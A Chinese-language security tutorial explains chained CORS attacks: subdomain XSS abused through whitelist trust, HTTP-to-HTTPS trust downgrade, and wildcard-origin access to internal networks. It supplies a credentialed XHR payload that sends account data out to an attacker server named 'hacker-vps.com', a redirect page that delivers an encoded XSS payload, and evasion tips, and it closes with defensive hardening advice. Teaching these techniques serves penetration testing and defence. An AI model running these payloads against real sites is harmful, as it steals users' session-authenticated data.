前言
在前两阶段内容中,我们讲解了基础 Origin 反射漏洞、白名单字符串匹配绕过、Origin: null沙箱逃逸等单一 CORS 缺陷。成熟业务系统会针对独立 CORS 配置做基础加固,但安全防护的整体强度取决于体系内最薄弱的信任节点。 本阶段聚焦信任链传递攻击,核心讲解 CORS 与 XSS、TLS 协议缺陷、内网无鉴权接口组合形成的复合漏洞,拆解完整连环攻击链路、标准化 Payload 分层构造逻辑与实战常见底层协议陷阱,覆盖红队渗透、漏洞赏金项目中高频高阶利用手法。
一、核心原理:信任边界越界(Trust Boundary Violation)
服务端配置的 CORS 域名白名单,本质是在不同业务域、协议、网段之间建立一条可信访问链路。高级 CORS 攻击的核心思路为信任传递:利用高权限核心 API 信任低安全等级跳板站点的架构设计,攻陷防护薄弱的跳板节点,借助跳板合法身份绕过核心接口的跨域校验,实现敏感数据窃取。 主流三类信任链突破场景如下:
1.1 子域 XSS 联动 CORS 信任劫持
架构缺陷
核心业务 API(api.bank.com)配置白名单,完全信任同企业旗下防护宽松的边缘子域(blog.bank.com),未做分级权限隔离。
完整攻击链路
- 攻击者在边缘子域挖掘反射型 / 存储型 XSS 漏洞,获取页面 JavaScript 执行权限;
- 受害者访问植入恶意脚本的子域页面,浏览器发起跨域请求时自动携带合法可信
Origin: https://blog.bank.com; - 核心 API 校验 Origin 匹配白名单,放行跨域读取权限,配合
withCredentials携带用户登录 Cookie,攻击者脚本直接读取账户、密钥等隐私数据。
1.2 TLS 协议分层信任降级攻击
架构缺陷
核心 API 全站启用 HTTPS 加密传输,具备完整 TLS 防护;但 CORS 白名单中保留了未加密 HTTP 明文子域(http://stock.bank.com),架构默认加密服务信任明文子域来源。
完整攻击链路
- 攻击者在 HTTP 明文子域挖掘反射 XSS 漏洞,明文环境无 HSTS、内容安全策略等附加防护,漏洞利用门槛更低;
- 诱导受害者访问存在 XSS 的 HTTP 跳板页面,恶意脚本携带合法 HTTP 子域 Origin 向 HTTPS 核心 API 发起跨域请求;
- 核心 API 仅校验域名后缀,不校验请求协议,认可明文子域的跨域权限,最终泄露 HTTPS 接口内的高敏感鉴权数据。
1.3 内网无凭证 CORS 穿透
架构缺陷
企业内网业务系统(192.168.0.0/24)依靠内网 IP 做访问控制,省略 Cookie、Session 身份校验;为方便前端调试全局配置Access-Control-Allow-Origin: *,且未限制跨域凭证开关。
完整攻击链路
- 内网员工受害者访问公网恶意网页;
- 恶意页面 JS 脚本直接向内网私有地址发起跨域请求;
- 内网接口无需身份凭证即可返回业务数据,受害者浏览器充当匿名内网代理,将内网资产信息回传至攻击者公网服务器。
二、实战完整复合攻击链路推演
以靶场标准场景为例,演示「跳板子域 XSS + CORS 白名单信任」完整连环利用流程:
- 资产侦察 :抓包探测核心账户接口
/accountDetails,严格拦截陌生 Origin;手动修改 Origin 为http://stock.target.com时,服务端返回允许跨域并开启凭证携带,确认 HTTPS 核心 API 信任 HTTP 子域跳板; - 跳板漏洞挖掘 :对
stock.target.com参数 Fuzz 测试,productId参数未做输出编码,存在反射型 XSS; - 投递载体构造:在攻击者自有公网服务器搭建跳转页面,强制浏览器跳转至携带 XSS 载荷的 HTTP 跳板地址;
- 合法上下文窃取:受害者跳转至跳板页面后触发 XSS,脚本携带用户 Session 向 HTTPS 核心 API 发起跨域请求,读取结构化 JSON 数据并外带至攻击者日志服务器。
三、高阶 Payload 分层标准化构造
实战中可复用的成熟攻击载荷分为三层结构,每层具备独立作用,分层设计规避传输、解析、执行三层阻断问题。
3.1 第一层:内核窃取脚本(DOM 执行层)
部署在跳板漏洞页面内的原生 JS 逻辑,负责跨域请求、读取响应、数据外带,是漏洞利用核心执行代码。
Javascript
var req = new XMLHttpRequest();
// 读取接口数据后跳转至攻击者服务器完成侧信道外带
req.onload = function() {
document.location = 'https://hacker-vps.com/log?data=' + this.responseText;
};
// 目标高价值JSON账户接口
req.open('GET', 'https://api.target.com/accountDetails', true);
// 关键配置:携带当前用户Cookie、Session凭证
req.withCredentials = true;
req.send();
工程逻辑说明:优先选择application/json接口作为目标,结构化数据可直接拼接传输;HTML 页面混杂标签,需额外编写 DOM 解析或正则截取逻辑,利用稳定性差、易受页面改版影响。
3.2 第二层:RFC3986 标准 URL 编码(网络传输层)
内核 JS 脚本无法直接放入 URL 参数传输,=、&、<、>、空格等属于 URL 保留字符,会被中间件 URL 解析器截断、拆分,载荷失效。 处理规范:使用浏览器原生encodeURIComponent()完成完整载荷编码,严格遵循 RFC3986 规范,统一空格编码为%20,等号编码为%3D,保证载荷在 HTTP 传输过程中完整无损耗,到达后端后完整反射至页面 DOM。
3.3 第三层:跳转投递外壳(攻击触达层)
攻击者服务器搭建 HTML 跳转页面,强制切换浏览器访问上下文,将受害者从恶意公网域名跳转至可信跳板子域,获取合法 Origin 身份。
html
<script>
// 跳转至存在XSS漏洞的HTTP跳板,参数携带完整编码后的恶意JS载荷
document.location = "http://stock.target.com/?productId=%3Cscript%3E完整编码脚本%3C%2Fscript%3E&storeId=1";
</script>
核心作用:转换浏览器安全上下文,让跨域请求携带跳板站点可信 Origin,突破核心 API 的 CORS 白名单校验。
四、实战高频底层阻断陷阱与规避方案
4.1 陷阱 1:参数强类型转换导致 XSS 无法反射
现象:向storeId传入 XSS 载荷无执行效果,productId传入同类载荷触发 400 报错且脚本正常渲染。 底层原理:后端对storeId做强制整型转换,非数字载荷捕获异常并赋予默认值,不会写入页面响应流;productId为字符串类型参数,异常报错时未做输出实体编码,原始输入直接写入 HTML,浏览器 V8 引擎解析为可执行 JS 抽象语法树(AST)。 规避思路:漏洞挖掘优先测试字符串类型入参、错误页面回显参数的接口,数字类参数难以完成载荷反射。
4.2 陷阱 2:编码标准冲突引发脚本语法报错
现象:载荷执行时报 SyntaxError,JS 代码直接失效。 底层原理:application/x-www-form-urlencoded表单编码会将空格替换为+,而标准 URL 规范空格为%20;双重编码会造成后端单次解码后残留%3d这类未转义字符,JS 解析器识别为非法语法。 标准解决方案:全程使用浏览器原生encodeURIComponent单次编码,拒绝第三方在线编码工具,规避表单编码、多层编码带来的字符污染。
五、架构级防御加固方案
- 分级信任白名单体系 禁止核心 API 无差别信任全部子域、不同协议站点;按业务安全等级划分白名单,HTTPS 核心接口不纳入 HTTP 明文子域,高权限接口仅信任固定一级业务域名。
- 阻断信任传递链路 边缘子域、博客、营销页面部署 CSP、输入输出编码、XSS 过滤防护,消除跳板漏洞;即使白名单存在跨域信任,也无法植入恶意 JS 窃取数据。
- 统一 Origin 完整校验规则 解析 Origin 完整协议、域名、端口三元组,不做前后缀模糊匹配;同时校验协议头,明文 HTTP 域名不纳入 HTTPS 核心接口白名单。
- 内网环境强化身份鉴权 内网接口禁止使用
Access-Control-Allow-Origin: *,内网访问同样增加 Token、Cookie 鉴权,杜绝无凭证跨域数据泄露。 - 分层安全审计 上线代码审计检查跨域信任关系,区分开发 / 生产环境配置;定期扫描子域 XSS、明文站点等可被利用的信任跳板节点。
系列阶段小结
本阶段 CORS 漏洞属于复合型高阶攻击,不再依赖单一跨域配置缺陷,核心依托架构信任传递完成绕过。整套攻击链路由跳板漏洞、合法身份传递、分层载荷投递三部分组成,也是企业红蓝对抗、漏洞赏金项目中分值最高的 CORS 利用场景。 下一阶段将讲解特殊字符混淆、正则匹配缺陷、多 Origin 复合校验绕过、跨域资源共享拓展协议漏洞等终极 CORS 绕过手法。